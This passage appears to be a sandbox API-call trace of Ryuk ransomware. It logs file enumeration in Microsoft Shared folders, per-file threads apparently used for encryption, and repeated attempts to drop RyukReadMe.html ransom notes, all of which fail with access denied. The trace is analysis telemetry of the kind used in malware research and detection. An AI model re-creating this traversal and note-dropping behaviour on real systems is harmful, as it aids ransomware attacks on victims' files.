	[0124.179] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1
	[0124.179] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0124.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b0
	[0124.181] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.181] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1
	[0124.182] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0124.182] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d4
	[0124.184] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.185] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x7c, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1
	[0124.185] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0124.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d0
	[0124.188] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.189] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x7c, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1
	[0124.189] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0124.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x244
	[0124.225] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.226] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1
	[0124.226] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0124.227] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8
	[0124.229] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.230] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0
	[0124.230] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0124.233] SetLastError (dwErrCode=0x0) 
	[0124.233] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.245] GetLastError () returned 0x5
	[0124.245] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0124.246] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.246] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1
	[0124.246] SetLastError (dwErrCode=0x0) 
	[0124.246] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.246] GetLastError () returned 0x5
	[0124.246] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0124.246] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.246] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0124.248] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0124.249] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x7c, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1
	[0124.249] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1
	[0124.249] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x7c, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1
	[0124.249] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x7c, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0
	[0124.249] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0124.249] SetLastError (dwErrCode=0x0) 
	[0124.249] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.250] GetLastError () returned 0x5
	[0124.250] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0124.250] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.250] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1
	[0124.250] SetLastError (dwErrCode=0x0) 
	[0124.250] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.250] GetLastError () returned 0x5
	[0124.250] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0124.250] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.251] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0124.251] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0124.251] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2bbccc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c2bbccc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc1486, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Alphabet.xml", cAlternateFileName="")) returned 1
	[0124.251] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0124.252] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c0
	[0124.255] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.255] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1
	[0124.255] SetLastError (dwErrCode=0x0) 
	[0124.255] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.256] GetLastError () returned 0x5
	[0124.256] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0124.256] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.256] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0124.258] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0124.258] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0124.258] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0124.259] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0124.259] SetLastError (dwErrCode=0x0) 
	[0124.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.259] GetLastError () returned 0x5
	[0124.259] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0124.259] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.260] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0124.260] SetLastError (dwErrCode=0x0) 
	[0124.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.260] GetLastError () returned 0x5
	[0124.260] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0124.260] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.260] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79c20
	[0124.261] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0124.261] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0124.261] FindNextFileW (in: hFindFile=0x79c20, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea1207ac, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea335ac2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea35bc1f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0124.261] FindClose (in: hFindFile=0x79c20 | out: hFindFile=0x79c20) returned 1
	[0124.262] SetLastError (dwErrCode=0x0) 
	[0124.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\bg-bg\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0124.262] GetLastError () returned 0x5
	[0124.262] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0124.262] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0124.262] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1
	[0124.262] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0124.263] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bc
	[0124.601] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.602] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1
	[0124.602] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1
	[0124.602] SetLastError (dwErrCode=0x0) 
